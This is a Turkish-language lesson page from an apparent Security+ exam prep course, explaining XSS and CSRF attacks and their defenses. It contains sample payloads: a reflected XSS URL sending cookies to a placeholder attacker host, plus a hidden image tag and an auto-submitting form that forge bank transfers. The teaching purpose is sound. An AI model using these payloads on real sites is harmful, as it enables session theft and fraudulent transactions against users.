0Pricing
Security+ Academy · Ders

Siteler Arası Komut Dosyası Çalıştırma (XSS) ve CSRF

Yansıtılan, depolanan ve DOM tabanlı XSS'nin yanı sıra siteler arası istek sahteciliği saldırılarını ve bunları engelleyen tarayıcı düzeyindeki savunmaları anlayın.

Siteler Arası Komut Dosyası Çalıştırma (XSS) ve CSRF, CoddyKit'te ücretsiz bir Security+ Academy dersidir. Bu, 4 dersinin 2. dersidir. Aşağıdan dersin tamamını ücretsiz okuyabilir, sonra tarayıcıda yerleşik kod editörü ve 7/24 yapay zeka koçu ile uygulamalı olarak pratik yapabilirsin. Bu, Security+ Academy öğrenme yolunun bir parçasıdır ve ilerlemeniz web ve CoddyKit uygulaması arasında senkronize olur. Security+ Academy kursu toplamda 4 dersten oluşur.

Cross-Site Scripting Nedir?

Cross-Site Scripting (XSS), bir attacker'ın diğer kullanıcıların görüntülediği web sayfalarına Malicious betikler eklediği istemci taraflı bir injection açığıdır. Server'ı hedefleyen SQL injection'ın aksine XSS, kurbanın tarayıcısını hedefler. Tarayıcı attacker'ın betiğini oluşturduğunda, betik meşru sayfa betikleriyle aynı ayrıcalıklarla çalışır; bu da oturum ele geçirmeyi, kimlik bilgilerini çalmayı ve kötü amaçlı yazılım dağıtmayı mümkün kılar.

Yansıtılmış XSS Açıklaması

Reflected XSS, Malicious bir betiğin bir URL'ye gömülmesi ve Server'ın uygun kodlama uygulamadan bunu HTTP yanıtında hemen 'yansıtması' durumunda ortaya çıkar. Kurban, genellikle bir kimlik avı bağlantısı aracılığıyla hazırlanmış URL'ye tıklamaya kandırılır ve tarayıcısı attacker'ın betiğini çalıştırır. Reflected XSS kalıcı değildir — yalnızca kurban Malicious bağlantıya tıkladığında çalışır.

# Malicious URL with reflected XSS payload
https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

# Server reflects the query param unsanitized into the HTML:
# <p>Results for: <script>...</script></p>

Stored XSS ve DOM Tabanlı XSS

Stored (persistent) XSS, Malicious betiği uygulamanın veritabanına (örneğin bir yoruma veya forum gönderisine) gömer. Bu içeriği görüntüleyen her kullanıcının tarayıcısında betik çalıştırılır; bu nedenle stored XSS, reflected XSS'ten çok daha tehlikelidir. DOM-based XSS, istemci tarafındaki JavaScript'in DOM'dan (ör. URL parçasından) attacker tarafından denetlenen verileri okuması ve bunları güvenli olmayan biçimde sayfaya yazmasıyla tamamen tarayıcıda gerçekleşir.

XSS Defense Yöntemleri: Kodlama ve CSP

XSS'e karşı temel Defense yöntemi output kodlamasıdır: özel karakterleri tarayıcıda oluşturmadan önce bunların HTML varlık karşılıklarına (&lt;, &gt;, &amp;) dönüştürün. Bir Content Security Policy (CSP) üst bilgisi, hangi betiklerin çalışabileceğini kısıtlayarak önemli bir ikincil Defense sağlar. Server tarafında input doğrulaması (izin listesi) da uygulanmalıdır.

# HTTP header — Content Security Policy
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'

# Blocks inline scripts and restricts external script sources

Cross-Site Request Forgery Nedir?

Cross-Site Request Forgery (CSRF), bir web sitesinin kimliği doğrulanmış kullanıcının tarayıcısına duyduğu güveni istismar eder. Bir attacker, kurbanın giriş yapmış olduğu bir siteye, kurbanın tarayıcısından istenmeyen kimliği doğrulanmış bir istek gönderilmesini sağlar. Tarayıcı oturum çerezlerini otomatik olarak eklediği için hedef Server isteğin meşru olduğuna inanır. Yaygın CSRF saldırıları para transferi yapar, e-posta adreslerini değiştirir veya hesap ayarlarını değiştirir.

Bir CSRF Saldırısı Nasıl Çalışır?

Bir kullanıcının bank.com adresindeki bankasına giriş yaptığını düşünün. Bir attacker, kullanıcıya gizli bir görüntü etiketi içeren bir e-posta gönderir: <img src='https://bank.com/transfer?to=attacker&amount=1000'>. E-posta açıldığında tarayıcı görüntü URL'sini otomatik olarak yükler ve kurbanın banka oturum çerezi eklenmiş halde transfer isteğini gönderir. Banka bunu meşru bir istek olarak işler.

<!-- Malicious hidden form on attacker's page -->
<form action='https://bank.com/transfer' method='POST' id='csrf'>
  <input type='hidden' name='to' value='attacker_account' />
  <input type='hidden' name='amount' value='5000' />
</form>
<script>document.getElementById('csrf').submit();</script>

CSRF Defense Yöntemleri: Belirteçler ve SameSite

En etkili CSRF Defense yöntemi, her forma gömülen ve Server tarafında doğrulanan benzersiz, tahmin edilemez bir değer olan CSRF belirtecidir. Attacker, farklı bir kaynaktan belirteci okuyamadığı için (aynı kaynak politikası), sahte isteklerde geçerli bir belirteç bulunmaz ve bu istekler reddedilir. SameSite çerez özniteliği (SameSite=Strict veya Lax) de tarayıcıların siteler arası isteklerde çerez göndermesini önler.

# Set SameSite cookie attribute
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly

# HTML hidden CSRF token in form
<input type='hidden' name='csrf_token' value='a8f3b2c7d1e4...' />

XSS ve CSRF: Temel Farklar

XSS ve CSRF çoğu zaman karıştırılır, ancak farklı hedeflere saldırırlar. XSS, kurbanın tarayıcısında çalışan Malicious bir betik ekler ve kullanıcının web sitesine duyduğu güveni istismar eder. CSRF, kurbanın tarayıcısından güvenilen bir siteye sahte istekler gönderir ve web sitesinin kullanıcının tarayıcısına duyduğu güveni istismar eder. XSS, CSRF belirteçlerini çalmak için kullanılabilir ve böylece iki açığı birbirine zincirleyebilir.

HttpOnly ve Secure Çerez Bayrakları

Çerez bayrakları önemli XSS azaltmaları sağlar. HttpOnly bayrağı, JavaScript'in çereze document.cookie aracılığıyla erişmesini önleyerek XSS mevcut olsa bile oturum belirtecinin çalınmasını zorlaştırır. Secure bayrağı, çerezlerin yalnızca HTTPS üzerinden iletilmesini sağlayarak şifrelenmemiş kanallarda ele geçirilmelerini önler. Çok katmanlı bir Defense önlemi olarak her iki bayrak da tüm oturum çerezlerinde ayarlanmalıdır.

Set-Cookie: sessionid=xyz789; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600

XSS Açıklarını Test Etme

Security test uzmanları, her input alanına, URL parametresine, HTTP üst bilgisine ve JSON alanına yoklama yükleri ekleyerek XSS'i tespit eder. Basit bir yoklama <script>alert(1)</script> şeklindedir — bir uyarı kutusu görünürse XSS doğrulanmış olur. Burp Suite gibi araçlar XSS taramasını otomatikleştirir; OWASP ZAP ise ücretsiz etkin tarama sağlar. DOM tabanlı XSS, Server yanıtını incelemek yerine tarayıcı tarafındaki JavaScript'in analiz edilmesini gerektirir.

XSS'in Gerçek Dünyadaki Etkisi

XSS saldırıları gerçek dünyada önemli zararlara yol açmıştır. Samy worm (2005), stored XSS'i kendi kendine yayılmak için istismar ederek 20 saat içinde MySpace'te bir milyondan fazla profile yayıldı. XSS saldırıları, oturum belirteçlerini çalarak hesapları tamamen ele geçirebilir, kullanıcıları kimlik avı sitelerine yönlendirebilir, tarayıcı açıklarından yararlanabilir (kullanıcı fark etmeden indirmeler) ve hedef kullanıcılar için yanlış bilgiler gösterecek şekilde sayfa içeriğini değiştirebilir.

Kısa Kontrol

Bu derste işlenen CompTIA Security+ (SY0-701) kavramlarını anlayıp anlamadığınızı test edin.

Ders Özeti

Bu derste şunları öğrendiniz: XSS, diğer kullanıcıların görüntülediği sayfalara betikler ekler, CSRF, kimliği doğrulanmış tarayıcıları sahte istekler göndermeye kandırır ve output kodlaması, CSP, CSRF belirteçleri ve SameSite çerez özniteliği temel Defense yöntemleridir. Sırada bozuk kimlik doğrulama ve güvenli olmayan serileştirmeyi inceleyeceğiz.

Sıkça Sorulan Sorular

“Siteler Arası Komut Dosyası Çalıştırma (XSS) ve CSRF” dersi ücretsiz mi?

Evet — “Siteler Arası Komut Dosyası Çalıştırma (XSS) ve CSRF” dersin tüm metni burada web'de ücretsiz olarak okunabilir. Etkileşimli olarak pratik yapmak (yerleşik kod editörü ve 7/24 yapay zeka koçu) ve Security+ Academy kursunun geri kalanını açmak için CoddyKit PRO'ya yükselt. Security+ Academy kursu toplamda 4 dersten oluşur.

“Siteler Arası Komut Dosyası Çalıştırma (XSS) ve CSRF” dersinde ne öğreneceğim?

Yansıtılan, depolanan ve DOM tabanlı XSS'nin yanı sıra siteler arası istek sahteciliği saldırılarını ve bunları engelleyen tarayıcı düzeyindeki savunmaları anlayın. Security+ Academy ile uygulamalı kodu tarayıcıda doğrudan çalıştırarak pratik yaparsın ve 7/24 yapay zeka koçu dersi çalışırken sorularını yanıtlar.

Security+ Academy öğrenmeye başlamak için deneyim gerekli mi?

Önceden deneyim gerekmez. CoddyKit'te Security+ Academy, başlangıçtan ileri seviyeye kadar yapılandırıldığı için buradan başlayabilir veya başından başlayıp kendi hızında ilerleme yapabilirsin. Bu, 4 dersinin 2. dersidir.

“Siteler Arası Komut Dosyası Çalıştırma (XSS) ve CSRF” dersi ne kadar sürer?

Çoğu CoddyKit dersi yaklaşık 5–10 dakika sürer. Her biri kısa ve etkileşimli olduğu için sabit ilerleme yaparsın ve web ile uygulama arasında tam olarak bıraktığın yerden devam edebilirsin.

Bu Security+ Academy dersinde kod yazıp çalıştırabilir miyim?

Evet. Her Security+ Academy dersi yerleşik bir kod editörü içerir, bu sayede tarayıcıda gerçek kod yazıp çalıştırabilir ve anlık yapay zeka geri bildirimi alırsın — yerel kurulum gerekli değildir.

Bu kursun tüm dersleri

  1. SQL Enjeksiyonu ve Komut Enjeksiyonu
  2. Siteler Arası Komut Dosyası Çalıştırma (XSS) ve CSRF
  3. Bozuk Kimlik Doğrulama ve Güvenli Olmayan Serileştirme Açma
  4. Güvenli SDLC, SAST ve DAST Araçları
← Security+ Academy Sayfasına Dön